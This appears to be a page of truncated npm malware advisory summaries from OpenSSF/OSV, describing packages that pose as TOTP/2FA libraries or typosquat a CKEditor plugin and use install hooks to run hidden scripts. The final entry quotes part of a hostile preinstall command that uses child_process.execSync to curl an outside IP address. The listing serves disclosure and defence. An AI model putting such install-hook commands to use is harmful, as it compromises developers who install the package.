npm advisory reports, with evidence.

OpenSSF/OSV malware advisory MAL-2026-15559 blocks this version. Package is advertised as a lightweight TOTP/HOTP library, but its package.json declares a postinstall hook (`node lib/core...

OpenSSF/OSV malware advisory MAL-2026-15549 blocks this version. Unscoped npm package ckeditor5-ckbox mimics the legitimate @ckeditor/ckeditor5-ckbox plugin. package.json declares a prein...

OpenSSF/OSV malware advisory MAL-2026-15547 blocks this version. The package advertises itself as a TOTP/2FA helper but its package.json postinstall spawns lib/core.js as a detached, stdi...

OpenSSF/OSV malware advisory MAL-2026-15547 blocks this version. The package advertises itself as a TOTP/2FA helper but its package.json postinstall spawns lib/core.js as a detached, stdi...

OpenSSF/OSV malware advisory MAL-2026-15547 blocks this version. The package advertises itself as a TOTP/2FA helper but its package.json postinstall spawns lib/core.js as a detached, stdi...

OpenSSF/OSV malware advisory MAL-2026-15547 blocks this version. The package advertises itself as a TOTP/2FA helper but its package.json postinstall spawns lib/core.js as a detached, stdi...

OpenSSF/OSV malware advisory MAL-2026-15547 blocks this version. The package advertises itself as a TOTP/2FA helper but its package.json postinstall spawns lib/core.js as a detached, stdi...

OpenSSF/OSV malware advisory MAL-2026-14805 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-14788 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-14801 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-14794 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-14791 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-14797 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-14800 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-14795 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-14790 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-14799 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-14798 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-14793 blocks this version. The package was found to contain malicious code or consuming dependency that contains malicious code

OpenSSF/OSV malware advisory MAL-2026-15508 blocks this version. package.json declares a preinstall lifecycle script that runs `node -e` to invoke `child_process.execSync('curl -s 216.126...